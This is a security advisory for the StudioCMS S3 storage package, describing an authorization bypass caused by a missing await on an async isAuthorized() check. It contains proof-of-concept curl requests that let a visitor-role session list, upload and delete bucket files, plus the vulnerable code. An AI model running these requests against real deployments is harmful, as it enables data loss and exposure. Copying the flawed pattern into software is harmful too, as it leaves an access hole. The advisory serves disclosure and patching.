GHSA-mm78-fgq8-6pgr
StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @studiocms/s3-storage | < 0.3.1 | 0.3.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The S3 storage manager's `isAuthorized()` function is declared `async` (returns `Promise<boolean>`) but is called without `await` in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, `!isAuthorized(type)` always evaluates to `false`, completely bypassing the authorization check. Any authenticated user with the lowest `visitor` role can upload, delete, rename, and list all files in the S3 bucket.
## Details
The `isAuthorized` function is typed as returning `Promise<boolean>` in `packages/studiocms/src/handlers/storage-manager/definitions.ts:88`:
```typescript
export type ParsedContext = {
getJson: () => Promise<ContextJsonBody>;
getArrayBuffer: () => Promise<ArrayBuffer>;
getHeader: (name: string) => string | null;
isAuthorized: (type?: AuthorizationType) => Promise<boolean>; // async
};
```
Both context drivers implement it as `async` — `packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32`:
```typescript
isAuthorized: async (type) => {
switch (type) {
case 'headers': {
// ... token verification ...
const isEditor = level >= UserPermissionLevel.editor;
if (!isEditor) return false;
return true;
}
default: {
const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
return isEditor;
}
}
},
```
But in the S3 storage manager, it's called without `await` — `packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200`:
```typescript
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
```
And again at line 372 (PUT handler):
```typescript
if (!isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
```
`isAuthorized(type)` returns a `Promise` object. `!Promise{...}` is always `false` because a Promise is truthy. The 401 response is never returned.
**Execution flow:**
1. Visitor-role user sends POST to `/studiocms_api/integrations/storage/manager`
2. `AstroLocalsMiddleware` verifies session exists — passes (visitor is logged in)
3. Handler calls `!isAuthorized('locals')` → evaluates `!Promise{...}` = `false`
4. Authorization check is skipped entirely
5. Visitor performs the requested storage operation
## PoC
```bash
# 1. Log in as a visitor-role user and obtain session cookie
# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"list","prefix":""}'
# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing
# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/octet-stream' \
-H 'x-storage-key: malicious/payload.html' \
--data-binary '<h1>Uploaded by visitor</h1>'
# Expected: 401 Unauthorized
# Actual: 200 File uploaded
# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"delete","key":"important/document.pdf"}'
# Expected: 401 Unauthorized
# Actual: 200 File deleted
```
## Impact
- Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
- Attacker can delete arbitrary files from the S3 bucket, causing data loss
- Attacker can list all files and generate presigned download URLs, exposing all stored content
- Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads
## Recommended Fix
Add `await` to both `isAuthorized()` calls in `packages/@studiocms/s3-storage/src/s3-storage-manager.ts`:
```typescript
// POST handler (line 200) — before:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
// After:
if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {
// PUT handler (line 372) — before:
if (!isAuthorized(type)) {
// After:
if (!(await isAuthorized(type))) {
```
References
External links from the advisory. They lead to third-party sites.